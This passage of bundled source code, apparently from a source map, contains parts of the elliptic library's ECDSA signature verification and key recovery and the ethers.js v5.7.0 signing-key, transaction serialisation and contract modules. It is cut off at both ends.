msg = this._truncateToN(new BN(msg, 16));\n key = this.keyFromPublic(key, enc);\n signature = new Signature(signature, 'hex');\n\n // Perform primitive values validation\n var r = signature.r;\n var s = signature.s;\n if (r.cmpn(1) < 0 || r.cmp(this.n) >= 0)\n return false;\n if (s.cmpn(1) < 0 || s.cmp(this.n) >= 0)\n return false;\n\n // Validate signature\n var sinv = s.invm(this.n);\n var u1 = sinv.mul(msg).umod(this.n);\n var u2 = sinv.mul(r).umod(this.n);\n var p;\n\n if (!this.curve._maxwellTrick) {\n p = this.g.mulAdd(u1, key.getPublic(), u2);\n if (p.isInfinity())\n return false;\n\n return p.getX().umod(this.n).cmp(r) === 0;\n }\n\n // NOTE: Greg Maxwell's trick, inspired by:\n // https://git.io/vad3K\n\n p = this.g.jmulAdd(u1, key.getPublic(), u2);\n if (p.isInfinity())\n return false;\n\n // Compare `p.x` of Jacobian point with `r`,\n // this will do `p.x == r * p.z^2` instead of multiplying `p.x` by the\n // inverse of `p.z^2`\n return p.eqXToP(r);\n};\n\nEC.prototype.recoverPubKey = function(msg, signature, j, enc) {\n assert((3 & j) === j, 'The recovery param is more than two bits');\n signature = new Signature(signature, enc);\n\n var n = this.n;\n var e = new BN(msg);\n var r = signature.r;\n var s = signature.s;\n\n // A set LSB signifies that the y-coordinate is odd\n var isYOdd = j & 1;\n var isSecondKey = j >> 1;\n if (r.cmp(this.curve.p.umod(this.curve.n)) >= 0 && isSecondKey)\n throw new Error('Unable to find sencond key candinate');\n\n // 1.1. Let x = r + jn.\n if (isSecondKey)\n r = this.curve.pointFromX(r.add(this.curve.n), isYOdd);\n else\n r = this.curve.pointFromX(r, isYOdd);\n\n var rInv = signature.r.invm(n);\n var s1 = n.sub(e).mul(rInv).umod(n);\n var s2 = s.mul(rInv).umod(n);\n\n // 1.6.1 Compute Q = r^-1 (sR - eG)\n // Q = r^-1 (sR + -eG)\n return this.g.mulAdd(s1, r, s2);\n};\n\nEC.prototype.getKeyRecoveryParam = function(e, signature, Q, enc) {\n signature = new Signature(signature, enc);\n if (signature.recoveryParam !== null)\n return signature.recoveryParam;\n\n for (var i = 0; i < 4; i++) {\n var Qprime;\n try {\n Qprime = this.recoverPubKey(e, signature, i);\n } catch (e) {\n continue;\n }\n\n if (Qprime.eq(Q))\n return i;\n }\n throw new Error('Unable to find valid recovery factor');\n};\n", "'use strict';\n\nvar elliptic = exports;\n\nelliptic.version = require('../package.json').version;\nelliptic.utils = require('./elliptic/utils');\nelliptic.rand = require('brorand');\nelliptic.curve = require('./elliptic/curve');\nelliptic.curves = require('./elliptic/curves');\n\n// Protocols\nelliptic.ec = require('./elliptic/ec');\nelliptic.eddsa = require('./elliptic/eddsa');\n", "import _ec from \"elliptic\";\nvar EC = _ec.ec;\nexport { EC };\n//# sourceMappingURL=elliptic.js.map", "export const version = \"signing-key/5.7.0\";\n", "\"use strict\";\n\nimport { EC } from \"./elliptic\";\n\nimport { arrayify, BytesLike, hexDataLength, hexlify, hexZeroPad, Signature, SignatureLike, splitSignature } from \"@ethersproject/bytes\";\nimport { defineReadOnly } from \"@ethersproject/properties\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nlet _curve: EC = null\nfunction getCurve() {\n if (!_curve) {\n _curve = new EC(\"secp256k1\");\n }\n return _curve;\n}\n\nexport class SigningKey {\n\n readonly curve: string;\n\n readonly privateKey: string;\n readonly publicKey: string;\n readonly compressedPublicKey: string;\n\n //readonly address: string;\n\n readonly _isSigningKey: boolean;\n\n constructor(privateKey: BytesLike) {\n defineReadOnly(this, \"curve\", \"secp256k1\");\n\n defineReadOnly(this, \"privateKey\", hexlify(privateKey));\n if (hexDataLength(this.privateKey) !== 32) {\n logger.throwArgumentError(\"invalid private key\", \"privateKey\", \"[[ REDACTED ]]\");\n }\n\n const keyPair = getCurve().keyFromPrivate(arrayify(this.privateKey));\n\n defineReadOnly(this, \"publicKey\", \"0x\" + keyPair.getPublic(false, \"hex\"));\n defineReadOnly(this, \"compressedPublicKey\", \"0x\" + keyPair.getPublic(true, \"hex\"));\n\n defineReadOnly(this, \"_isSigningKey\", true);\n }\n\n _addPoint(other: BytesLike): string {\n const p0 = getCurve().keyFromPublic(arrayify(this.publicKey));\n const p1 = getCurve().keyFromPublic(arrayify(other));\n return \"0x\" + p0.pub.add(p1.pub).encodeCompressed(\"hex\");\n }\n\n signDigest(digest: BytesLike): Signature {\n const keyPair = getCurve().keyFromPrivate(arrayify(this.privateKey));\n const digestBytes = arrayify(digest);\n if (digestBytes.length !== 32) {\n logger.throwArgumentError(\"bad digest length\", \"digest\", digest);\n }\n const signature = keyPair.sign(digestBytes, { canonical: true });\n return splitSignature({\n recoveryParam: signature.recoveryParam,\n r: hexZeroPad(\"0x\" + signature.r.toString(16), 32),\n s: hexZeroPad(\"0x\" + signature.s.toString(16), 32),\n })\n }\n\n computeSharedSecret(otherKey: BytesLike): string {\n const keyPair = getCurve().keyFromPrivate(arrayify(this.privateKey));\n const otherKeyPair = getCurve().keyFromPublic(arrayify(computePublicKey(otherKey)));\n return hexZeroPad(\"0x\" + keyPair.derive(otherKeyPair.getPublic()).toString(16), 32);\n }\n\n static isSigningKey(value: any): value is SigningKey {\n return !!(value && value._isSigningKey);\n }\n}\n\nexport function recoverPublicKey(digest: BytesLike, signature: SignatureLike): string {\n const sig = splitSignature(signature);\n const rs = { r: arrayify(sig.r), s: arrayify(sig.s) };\n return \"0x\" + getCurve().recoverPubKey(arrayify(digest), rs, sig.recoveryParam).encode(\"hex\", false);\n}\n\nexport function computePublicKey(key: BytesLike, compressed?: boolean): string {\n const bytes = arrayify(key);\n\n if (bytes.length === 32) {\n const signingKey = new SigningKey(bytes);\n if (compressed) {\n return \"0x\" + getCurve().keyFromPrivate(bytes).getPublic(true, \"hex\");\n }\n return signingKey.publicKey;\n\n } else if (bytes.length === 33) {\n if (compressed) { return hexlify(bytes); }\n return \"0x\" + getCurve().keyFromPublic(bytes).getPublic(false, \"hex\");\n\n } else if (bytes.length === 65) {\n if (!compressed) { return hexlify(bytes); }\n return \"0x\" + getCurve().keyFromPublic(bytes).getPublic(true, \"hex\");\n }\n\n return logger.throwArgumentError(\"invalid public or private key\", \"key\", \"[REDACTED]\");\n}\n\n", "export const version = \"transactions/5.7.0\";\n", "\"use strict\";\n\nimport { getAddress } from \"@ethersproject/address\";\nimport { BigNumber, BigNumberish } from \"@ethersproject/bignumber\";\nimport { arrayify, BytesLike, DataOptions, hexConcat, hexDataLength, hexDataSlice, hexlify, hexZeroPad, isBytesLike, SignatureLike, splitSignature, stripZeros, } from \"@ethersproject/bytes\";\nimport { Zero } from \"@ethersproject/constants\";\nimport { keccak256 } from \"@ethersproject/keccak256\";\nimport { checkProperties } from \"@ethersproject/properties\";\nimport * as RLP from \"@ethersproject/rlp\";\nimport { computePublicKey, recoverPublicKey } from \"@ethersproject/signing-key\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\n///////////////////////////////\n// Exported Types\n\nexport type AccessList = Array<{ address: string, storageKeys: Array }>;\n\n// Input allows flexibility in describing an access list\nexport type AccessListish = AccessList |\n Array<[ string, Array ]> |\n Record>;\n\nexport enum TransactionTypes {\n legacy = 0,\n eip2930 = 1,\n eip1559 = 2,\n};\n\nexport type UnsignedTransaction = {\n to?: string;\n nonce?: number;\n\n gasLimit?: BigNumberish;\n gasPrice?: BigNumberish;\n\n data?: BytesLike;\n value?: BigNumberish;\n chainId?: number;\n\n // Typed-Transaction features\n type?: number | null;\n\n // EIP-2930; Type 1 & EIP-1559; Type 2\n accessList?: AccessListish;\n\n // EIP-1559; Type 2\n maxPriorityFeePerGas?: BigNumberish;\n maxFeePerGas?: BigNumberish;\n}\n\nexport interface Transaction {\n hash?: string;\n\n to?: string;\n from?: string;\n nonce: number;\n\n gasLimit: BigNumber;\n gasPrice?: BigNumber;\n\n data: string;\n value: BigNumber;\n chainId: number;\n\n r?: string;\n s?: string;\n v?: number;\n\n // Typed-Transaction features\n type?: number | null;\n\n // EIP-2930; Type 1 & EIP-1559; Type 2\n accessList?: AccessList;\n\n // EIP-1559; Type 2\n maxPriorityFeePerGas?: BigNumber;\n maxFeePerGas?: BigNumber;\n}\n\n///////////////////////////////\n\nfunction handleAddress(value: string): string {\n if (value === \"0x\") { return null; }\n return getAddress(value);\n}\n\nfunction handleNumber(value: string): BigNumber {\n if (value === \"0x\") { return Zero; }\n return BigNumber.from(value);\n}\n\n// Legacy Transaction Fields\nconst transactionFields = [\n { name: \"nonce\", maxLength: 32, numeric: true },\n { name: \"gasPrice\", maxLength: 32, numeric: true },\n { name: \"gasLimit\", maxLength: 32, numeric: true },\n { name: \"to\", length: 20 },\n { name: \"value\", maxLength: 32, numeric: true },\n { name: \"data\" },\n];\n\nconst allowedTransactionKeys: { [ key: string ]: boolean } = {\n chainId: true, data: true, gasLimit: true, gasPrice:true, nonce: true, to: true, type: true, value: true\n}\n\nexport function computeAddress(key: BytesLike | string): string {\n const publicKey = computePublicKey(key);\n return getAddress(hexDataSlice(keccak256(hexDataSlice(publicKey, 1)), 12));\n}\n\nexport function recoverAddress(digest: BytesLike, signature: SignatureLike): string {\n return computeAddress(recoverPublicKey(arrayify(digest), signature));\n}\n\nfunction formatNumber(value: BigNumberish, name: string): Uint8Array {\n const result = stripZeros(BigNumber.from(value).toHexString());\n if (result.length > 32) {\n logger.throwArgumentError(\"invalid length for \" + name, (\"transaction:\" + name), value);\n }\n return result;\n}\n\nfunction accessSetify(addr: string, storageKeys: Array): { address: string,storageKeys: Array } {\n return {\n address: getAddress(addr),\n storageKeys: (storageKeys || []).map((storageKey, index) => {\n if (hexDataLength(storageKey) !== 32) {\n logger.throwArgumentError(\"invalid access list storageKey\", `accessList[${ addr }:${ index }]`, storageKey)\n }\n return storageKey.toLowerCase();\n })\n };\n}\n\nexport function accessListify(value: AccessListish): AccessList {\n if (Array.isArray(value)) {\n return (] | { address: string, storageKeys: Array}>>value).map((set, index) => {\n if (Array.isArray(set)) {\n if (set.length > 2) {\n logger.throwArgumentError(\"access list expected to be [ address, storageKeys[] ]\", `value[${ index }]`, set);\n }\n return accessSetify(set[0], set[1])\n }\n return accessSetify(set.address, set.storageKeys);\n });\n }\n\n const result: Array<{ address: string, storageKeys: Array }> = Object.keys(value).map((addr) => {\n const storageKeys: Record = value[addr].reduce((accum, storageKey) => {\n accum[storageKey] = true;\n return accum;\n }, >{ });\n return accessSetify(addr, Object.keys(storageKeys).sort())\n });\n result.sort((a, b) => (a.address.localeCompare(b.address)));\n return result;\n}\n\nfunction formatAccessList(value: AccessListish): Array<[ string, Array ]> {\n return accessListify(value).map((set) => [ set.address, set.storageKeys ]);\n}\n\nfunction _serializeEip1559(transaction: UnsignedTransaction, signature?: SignatureLike): string {\n // If there is an explicit gasPrice, make sure it matches the\n // EIP-1559 fees; otherwise they may not understand what they\n // think they are setting in terms of fee.\n if (transaction.gasPrice != null) {\n const gasPrice = BigNumber.from(transaction.gasPrice);\n const maxFeePerGas = BigNumber.from(transaction.maxFeePerGas || 0);\n if (!gasPrice.eq(maxFeePerGas)) {\n logger.throwArgumentError(\"mismatch EIP-1559 gasPrice != maxFeePerGas\", \"tx\", {\n gasPrice, maxFeePerGas\n });\n }\n }\n\n const fields: any = [\n formatNumber(transaction.chainId || 0, \"chainId\"),\n formatNumber(transaction.nonce || 0, \"nonce\"),\n formatNumber(transaction.maxPriorityFeePerGas || 0, \"maxPriorityFeePerGas\"),\n formatNumber(transaction.maxFeePerGas || 0, \"maxFeePerGas\"),\n formatNumber(transaction.gasLimit || 0, \"gasLimit\"),\n ((transaction.to != null) ? getAddress(transaction.to): \"0x\"),\n formatNumber(transaction.value || 0, \"value\"),\n (transaction.data || \"0x\"),\n (formatAccessList(transaction.accessList || []))\n ];\n\n if (signature) {\n const sig = splitSignature(signature);\n fields.push(formatNumber(sig.recoveryParam, \"recoveryParam\"));\n fields.push(stripZeros(sig.r));\n fields.push(stripZeros(sig.s));\n }\n\n return hexConcat([ \"0x02\", RLP.encode(fields)]);\n}\n\nfunction _serializeEip2930(transaction: UnsignedTransaction, signature?: SignatureLike): string {\n const fields: any = [\n formatNumber(transaction.chainId || 0, \"chainId\"),\n formatNumber(transaction.nonce || 0, \"nonce\"),\n formatNumber(transaction.gasPrice || 0, \"gasPrice\"),\n formatNumber(transaction.gasLimit || 0, \"gasLimit\"),\n ((transaction.to != null) ? getAddress(transaction.to): \"0x\"),\n formatNumber(transaction.value || 0, \"value\"),\n (transaction.data || \"0x\"),\n (formatAccessList(transaction.accessList || []))\n ];\n\n if (signature) {\n const sig = splitSignature(signature);\n fields.push(formatNumber(sig.recoveryParam, \"recoveryParam\"));\n fields.push(stripZeros(sig.r));\n fields.push(stripZeros(sig.s));\n }\n\n return hexConcat([ \"0x01\", RLP.encode(fields)]);\n}\n\n// Legacy Transactions and EIP-155\nfunction _serialize(transaction: UnsignedTransaction, signature?: SignatureLike): string {\n checkProperties(transaction, allowedTransactionKeys);\n\n const raw: Array = [];\n\n transactionFields.forEach(function(fieldInfo) {\n let value = (transaction)[fieldInfo.name] || ([]);\n const options: DataOptions = { };\n if (fieldInfo.numeric) { options.hexPad = \"left\"; }\n value = arrayify(hexlify(value, options));\n\n // Fixed-width field\n if (fieldInfo.length && value.length !== fieldInfo.length && value.length > 0) {\n logger.throwArgumentError(\"invalid length for \" + fieldInfo.name, (\"transaction:\" + fieldInfo.name), value);\n }\n\n // Variable-width (with a maximum)\n if (fieldInfo.maxLength) {\n value = stripZeros(value);\n if (value.length > fieldInfo.maxLength) {\n logger.throwArgumentError(\"invalid length for \" + fieldInfo.name, (\"transaction:\" + fieldInfo.name), value );\n }\n }\n\n raw.push(hexlify(value));\n });\n\n let chainId = 0;\n if (transaction.chainId != null) {\n // A chainId was provided; if non-zero we'll use EIP-155\n chainId = transaction.chainId;\n\n if (typeof(chainId) !== \"number\") {\n logger.throwArgumentError(\"invalid transaction.chainId\", \"transaction\", transaction);\n }\n\n } else if (signature && !isBytesLike(signature) && signature.v > 28) {\n // No chainId provided, but the signature is signing with EIP-155; derive chainId\n chainId = Math.floor((signature.v - 35) / 2);\n }\n\n // We have an EIP-155 transaction (chainId was specified and non-zero)\n if (chainId !== 0) {\n raw.push(hexlify(chainId)); // @TODO: hexValue?\n raw.push(\"0x\");\n raw.push(\"0x\");\n }\n\n // Requesting an unsigned transaction\n if (!signature) {\n return RLP.encode(raw);\n }\n\n // The splitSignature will ensure the transaction has a recoveryParam in the\n // case that the signTransaction function only adds a v.\n const sig = splitSignature(signature);\n\n // We pushed a chainId and null r, s on for hashing only; remove those\n let v = 27 + sig.recoveryParam\n if (chainId !== 0) {\n raw.pop();\n raw.pop();\n raw.pop();\n v += chainId * 2 + 8;\n\n // If an EIP-155 v (directly or indirectly; maybe _vs) was provided, check it!\n if (sig.v > 28 && sig.v !== v) {\n logger.throwArgumentError(\"transaction.chainId/signature.v mismatch\", \"signature\", signature);\n }\n } else if (sig.v !== v) {\n logger.throwArgumentError(\"transaction.chainId/signature.v mismatch\", \"signature\", signature);\n }\n\n raw.push(hexlify(v));\n raw.push(stripZeros(arrayify(sig.r)));\n raw.push(stripZeros(arrayify(sig.s)));\n\n return RLP.encode(raw);\n}\n\nexport function serialize(transaction: UnsignedTransaction, signature?: SignatureLike): string {\n // Legacy and EIP-155 Transactions\n if (transaction.type == null || transaction.type === 0) {\n if (transaction.accessList != null) {\n logger.throwArgumentError(\"untyped transactions do not support accessList; include type: 1\", \"transaction\", transaction);\n }\n return _serialize(transaction, signature);\n }\n\n // Typed Transactions (EIP-2718)\n switch (transaction.type) {\n case 1:\n return _serializeEip2930(transaction, signature);\n case 2:\n return _serializeEip1559(transaction, signature);\n default:\n break;\n }\n\n return logger.throwError(`unsupported transaction type: ${ transaction.type }`, Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"serializeTransaction\",\n transactionType: transaction.type\n });\n}\n\nfunction _parseEipSignature(tx: Transaction, fields: Array, serialize: (tx: UnsignedTransaction) => string): void {\n try {\n const recid = handleNumber(fields[0]).toNumber();\n if (recid !== 0 && recid !== 1) { throw new Error(\"bad recid\"); }\n tx.v = recid;\n } catch (error) {\n logger.throwArgumentError(\"invalid v for transaction type: 1\", \"v\", fields[0]);\n }\n\n tx.r = hexZeroPad(fields[1], 32);\n tx.s = hexZeroPad(fields[2], 32);\n\n try {\n const digest = keccak256(serialize(tx));\n tx.from = recoverAddress(digest, { r: tx.r, s: tx.s, recoveryParam: tx.v });\n } catch (error) { }\n}\n\nfunction _parseEip1559(payload: Uint8Array): Transaction {\n const transaction = RLP.decode(payload.slice(1));\n\n if (transaction.length !== 9 && transaction.length !== 12) {\n logger.throwArgumentError(\"invalid component count for transaction type: 2\", \"payload\", hexlify(payload));\n }\n\n const maxPriorityFeePerGas = handleNumber(transaction[2]);\n const maxFeePerGas = handleNumber(transaction[3]);\n const tx: Transaction = {\n type: 2,\n chainId: handleNumber(transaction[0]).toNumber(),\n nonce: handleNumber(transaction[1]).toNumber(),\n maxPriorityFeePerGas: maxPriorityFeePerGas,\n maxFeePerGas: maxFeePerGas,\n gasPrice: null,\n gasLimit: handleNumber(transaction[4]),\n to: handleAddress(transaction[5]),\n value: handleNumber(transaction[6]),\n data: transaction[7],\n accessList: accessListify(transaction[8]),\n };\n\n // Unsigned EIP-1559 Transaction\n if (transaction.length === 9) { return tx; }\n\n tx.hash = keccak256(payload);\n\n _parseEipSignature(tx, transaction.slice(9), _serializeEip1559);\n\n return tx;\n}\n\nfunction _parseEip2930(payload: Uint8Array): Transaction {\n const transaction = RLP.decode(payload.slice(1));\n\n if (transaction.length !== 8 && transaction.length !== 11) {\n logger.throwArgumentError(\"invalid component count for transaction type: 1\", \"payload\", hexlify(payload));\n }\n\n const tx: Transaction = {\n type: 1,\n chainId: handleNumber(transaction[0]).toNumber(),\n nonce: handleNumber(transaction[1]).toNumber(),\n gasPrice: handleNumber(transaction[2]),\n gasLimit: handleNumber(transaction[3]),\n to: handleAddress(transaction[4]),\n value: handleNumber(transaction[5]),\n data: transaction[6],\n accessList: accessListify(transaction[7])\n };\n\n // Unsigned EIP-2930 Transaction\n if (transaction.length === 8) { return tx; }\n\n tx.hash = keccak256(payload);\n\n _parseEipSignature(tx, transaction.slice(8), _serializeEip2930);\n\n return tx;\n}\n\n// Legacy Transactions and EIP-155\nfunction _parse(rawTransaction: Uint8Array): Transaction {\n const transaction = RLP.decode(rawTransaction);\n\n if (transaction.length !== 9 && transaction.length !== 6) {\n logger.throwArgumentError(\"invalid raw transaction\", \"rawTransaction\", rawTransaction);\n }\n\n const tx: Transaction = {\n nonce: handleNumber(transaction[0]).toNumber(),\n gasPrice: handleNumber(transaction[1]),\n gasLimit: handleNumber(transaction[2]),\n to: handleAddress(transaction[3]),\n value: handleNumber(transaction[4]),\n data: transaction[5],\n chainId: 0\n };\n\n // Legacy unsigned transaction\n if (transaction.length === 6) { return tx; }\n\n try {\n tx.v = BigNumber.from(transaction[6]).toNumber();\n\n } catch (error) {\n // @TODO: What makes snese to do? The v is too big\n return tx;\n }\n\n tx.r = hexZeroPad(transaction[7], 32);\n tx.s = hexZeroPad(transaction[8], 32);\n\n if (BigNumber.from(tx.r).isZero() && BigNumber.from(tx.s).isZero()) {\n // EIP-155 unsigned transaction\n tx.chainId = tx.v;\n tx.v = 0;\n\n } else {\n // Signed Transaction\n\n tx.chainId = Math.floor((tx.v - 35) / 2);\n if (tx.chainId < 0) { tx.chainId = 0; }\n\n let recoveryParam = tx.v - 27;\n\n const raw = transaction.slice(0, 6);\n\n if (tx.chainId !== 0) {\n raw.push(hexlify(tx.chainId));\n raw.push(\"0x\");\n raw.push(\"0x\");\n recoveryParam -= tx.chainId * 2 + 8;\n }\n\n const digest = keccak256(RLP.encode(raw));\n try {\n tx.from = recoverAddress(digest, { r: hexlify(tx.r), s: hexlify(tx.s), recoveryParam: recoveryParam });\n } catch (error) { }\n\n tx.hash = keccak256(rawTransaction);\n }\n\n tx.type = null;\n\n return tx;\n}\n\n\nexport function parse(rawTransaction: BytesLike): Transaction {\n const payload = arrayify(rawTransaction);\n\n // Legacy and EIP-155 Transactions\n if (payload[0] > 0x7f) { return _parse(payload); }\n\n // Typed Transaction (EIP-2718)\n switch (payload[0]) {\n case 1:\n return _parseEip2930(payload);\n case 2:\n return _parseEip1559(payload);\n default:\n break;\n }\n\n return logger.throwError(`unsupported transaction type: ${ payload[0] }`, Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"parseTransaction\",\n transactionType: payload[0]\n });\n}\n\n", "export const version = \"contracts/5.7.0\";\n", "\"use strict\";\n\nimport { checkResultErrors, EventFragment, Fragment, FunctionFragment, Indexed, Interface, JsonFragment, LogDescription, ParamType, Result } from \"@ethersproject/abi\";\nimport { Block, BlockTag, Filter, FilterByBlockHash, Listener, Log, Provider, TransactionReceipt, TransactionRequest, TransactionResponse } from \"@ethersproject/abstract-provider\";\nimport { Signer, VoidSigner } from \"@ethersproject/abstract-signer\";\nimport { getAddress, getContractAddress } from \"@ethersproject/address\";\nimport { BigNumber, BigNumberish } from \"@ethersproject/bignumber\";\nimport { arrayify, BytesLike, concat, hexlify, isBytes, isHexString } from \"@ethersproject/bytes\";\nimport { Deferrable, defineReadOnly, deepCopy, getStatic, resolveProperties, shallowCopy } from \"@ethersproject/properties\";\nimport { AccessList, accessListify, AccessListish } from \"@ethersproject/transactions\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\n\nconst logger = new Logger(version);\n\nexport interface Overrides {\n gasLimit?: BigNumberish | Promise;\n gasPrice?: BigNumberish | Promise;\n maxFeePerGas?: BigNumberish | Promise;\n maxPriorityFeePerGas?: BigNumberish | Promise;\n nonce?: BigNumberish | Promise;\n type?: number;\n accessList?: AccessListish;\n customData?: Record;\n ccipReadEnabled?: boolean;\n};\n\nexport interface PayableOverrides extends Overrides {\n value?: BigNumberish | Promise;\n}\n\nexport interface CallOverrides extends PayableOverrides {\n blockTag?: BlockTag | Promise;\n from?: string | Promise;\n}\n\n// @TODO: Better hierarchy with: (in v6)\n// - abstract-provider:TransactionRequest\n// - transactions:Transaction\n// - transaction:UnsignedTransaction\n\nexport interface PopulatedTransaction {\n to?: string;\n from?: string;\n nonce?: number;\n\n gasLimit?: BigNumber;\n gasPrice?: BigNumber;\n\n data?: string;\n value?: BigNumber;\n chainId?: number;\n\n type?: number;\n accessList?: AccessList;\n\n maxFeePerGas?: BigNumber;\n maxPriorityFeePerGas?: BigNumber;\n\n customData?: Record;\n ccipReadEnabled?: boolean;\n};\n\nexport type EventFilter = {\n address?: string;\n topics?: Array>;\n};\n\n\nexport type ContractFunction = (...args: Array) => Promise;\n\n\n// The (n + 1)th parameter passed to contract event callbacks\nexport interface Event extends Log {\n\n // The event name\n event?: string;\n\n // The event signature\n eventSignature?: string;\n\n // The parsed arguments to the event\n args?: Result;\n\n // If parsing the arguments failed, this is the error\n decodeError?: Error;\n\n // A function that can be used to decode event data and topics\n decode?: (data: string, topics?: Array) => any;\n\n // A function that will remove the listener responsible for this event (if any)\n removeListener: () => void;\n\n // Get blockchain details about this event's block and transaction\n getBlock: () => Promise;\n getTransaction: () => Promise;\n getTransactionReceipt: () => Promise;\n}\n\nexport interface ContractReceipt extends TransactionReceipt {\n events?: Array;\n}\n\nexport interface ContractTransaction extends TransactionResponse {\n wait(confirmations?: number): Promise;\n}\n\n///////////////////////////////\n\nconst allowedTransactionKeys: { [ key: string ]: boolean } = {\n chainId: true, data: true, from: true, gasLimit: true, gasPrice:true, nonce: true, to: true, value: true,\n type: true, accessList: true,\n maxFeePerGas: true, maxPriorityFeePerGas: true,\n customData: true,\n ccipReadEnabled: true\n}\n\nasync function resolveName(resolver: Signer | Provider, nameOrPromise: string | Promise): Promise {\n const name = await nameOrPromise;\n\n if (typeof(name) !== \"string\") {\n logger.throwArgumentError(\"invalid address or ENS name\", \"name\", name);\n }\n\n // If it is already an address, just use it (after adding checksum)\n try {\n return getAddress(name);\n } catch (error) { }\n\n if (!resolver) {\n logger.throwError(\"a provider or signer is needed to resolve ENS names\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"resolveName\"\n });\n }\n\n const address = await resolver.resolveName(name);\n\n if (address == null) {\n logger.throwArgumentError(\"resolver or addr is not configured for ENS name\", \"name\", name);\n }\n\n return address;\n}\n\n// Recursively replaces ENS names with promises to resolve the name and resolves all properties\nasync function resolveAddresses(resolver: Signer | Provider, value: any, paramType: ParamType | Array): Promise {\n if (Array.isArray(paramType)) {\n return await Promise.all(paramType.map((paramType, index) => {\n return resolveAddresses(\n resolver,\n ((Array.isArray(value)) ? value[index]: value[paramType.name]),\n paramType\n );\n }));\n }\n\n if (paramType.type === \"address\") {\n return await resolveName(resolver, value);\n }\n\n if (paramType.type === \"tuple\") {\n return await resolveAddresses(resolver, value, paramType.components);\n }\n\n if (paramType.baseType === \"array\") {\n if (!Array.isArray(value)) {\n return Promise.reject(logger.makeError(\"invalid value for array\", Logger.errors.INVALID_ARGUMENT, {\n argument: \"value\",\n value\n }));\n }\n return await Promise.all(value.map((v) => resolveAddresses(resolver, v, paramType.arrayChildren)));\n }\n\n return value;\n}\n\nasync function populateTransaction(contract: Contract, fragment: FunctionFragment, args: Array): Promise {\n // If an extra argument is given, it is overrides\n let overrides: CallOverrides = { };\n if (args.length === fragment.inputs.length + 1 && typeof(args[args.length - 1]) === \"object\") {\n overrides = shallowCopy(args.pop());\n }\n\n // Make sure the parameter count matches\n logger.checkArgumentCount(args.length, fragment.inputs.length, \"passed to contract\");\n\n // Populate \"from\" override (allow promises)\n if (contract.signer) {\n if (overrides.from) {\n // Contracts with a Signer are from the Signer's frame-of-reference;\n // but we allow overriding \"from\" if it matches the signer\n overrides.from = resolveProperties({\n override: resolveName(contract.signer, overrides.from),\n signer: contract.signer.getAddress()\n }).then(async (check) => {\n if (getAddress(check.signer) !== check.override) {\n logger.throwError(\"Contract with a Signer cannot override from\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"overrides.from\"\n });\n }\n\n return check.override;\n });\n\n } else {\n overrides.from = contract.signer.getAddress();\n }\n\n } else if (overrides.from) {\n overrides.from = resolveName(contract.provider, overrides.from);\n\n //} else {\n // Contracts without a signer can override \"from\", and if\n // unspecified the zero address is used\n //overrides.from = AddressZero;\n }\n\n // Wait for all dependencies to be resolved (prefer the signer over the provider)\n const resolved = await resolveProperties({\n args: resolveAddresses(contract.signer || contract.provider, args, fragment.inputs),\n address: contract.resolvedAddress,\n overrides: (resolveProperties(overrides) || { })\n });\n\n // The ABI coded transaction\n const data = contract.interface.encodeFunctionData(fragment, resolved.args);\n const tx: PopulatedTransaction = {\n data: data,\n to: resolved.address\n };\n\n // Resolved Overrides\n const ro = resolved.overrides;\n\n // Populate simple overrides\n if (ro.nonce != null) { tx.nonce = BigNumber.from(ro.nonce).toNumber(); }\n if (ro.gasLimit != null) { tx.gasLimit = BigNumber.from(ro.gasLimit); }\n if (ro.gasPrice != null) { tx.gasPrice = BigNumber.from(ro.gasPrice); }\n if (ro.maxFeePerGas != null) { tx.maxFeePerGas = BigNumber.from(ro.maxFeePerGas); }\n if (ro.maxPriorityFeePerGas != null) { tx.maxPriorityFeePerGas = BigNumber.from(ro.maxPriorityFeePerGas); }\n if (ro.from != null) { tx.from = ro.from; }\n\n if (ro.type != null) { tx.type = ro.type; }\n if (ro.accessList != null) { tx.accessList = accessListify(ro.accessList); }\n\n // If there was no \"gasLimit\" override, but the ABI specifies a default, use it\n if (tx.gasLimit == null && fragment.gas != null) {\n // Compute the intrinsic gas cost for this transaction\n // @TODO: This is based on the yellow paper as of Petersburg; this is something\n // we may wish to parameterize in v6 as part of the Network object. Since this\n // is always a non-nil to address, we can ignore G_create, but may wish to add\n // similar logic to the ContractFactory.\n let intrinsic = 21000;\n const bytes = arrayify(data);\n for (let i = 0; i < bytes.length; i++) {\n intrinsic += 4;\n if (bytes[i]) { intrinsic += 64; }\n }\n tx.gasLimit = BigNumber.from(fragment.gas).add(intrinsic);\n }\n\n // Populate \"value\" override\n if (ro.value) {\n const roValue = BigNumber.from(ro.value);\n if (!roValue.isZero() && !fragment.payable) {\n logger.throwError(\"non-payable method cannot override value\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"overrides.value\",\n value: overrides.value\n });\n }\n tx.value = roValue;\n }\n\n if (ro.customData) {\n tx.customData = shallowCopy(ro.customData);\n }\n\n if (ro.ccipReadEnabled) {\n tx.ccipReadEnabled = !!ro.ccipReadEnabled;\n }\n\n // Remove the overrides\n delete overrides.nonce;\n delete overrides.gasLimit;\n delete overrides.gasPrice;\n delete overrides.from;\n delete overrides.value;\n\n delete overrides.type;\n delete overrides.accessList;\n\n delete overrides.maxFeePerGas;\n delete overrides.maxPriorityFeePerGas;\n\n delete overrides.customData;\n delete overrides.ccipReadEnabled;\n\n // Make sure there are no stray overrides, which may indicate a\n // typo or using an unsupported key.\n const leftovers = Object.keys(overrides).filter((key) => ((overrides)[key] != null));\n if (leftovers.length) {\n logger.throwError(`cannot override ${ leftovers.map((l) => JSON.stringify(l)).join(\",\") }`, Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"overrides\",\n overrides: leftovers\n });\n }\n\n return tx;\n}\n\n\nfunction buildPopulate(contract: Contract, fragment: FunctionFragment): ContractFunction {\n return function(...args: Array): Promise {\n return populateTransaction(contract, fragment, args);\n };\n}\n\nfunction buildEstimate(contract: Contract, fragment: FunctionFragment): ContractFunction {\n const signerOrProvider = (contract.signer || contract.provider);\n return async function(...args: Array): Promise {\n if (!signerOrProvider) {\n 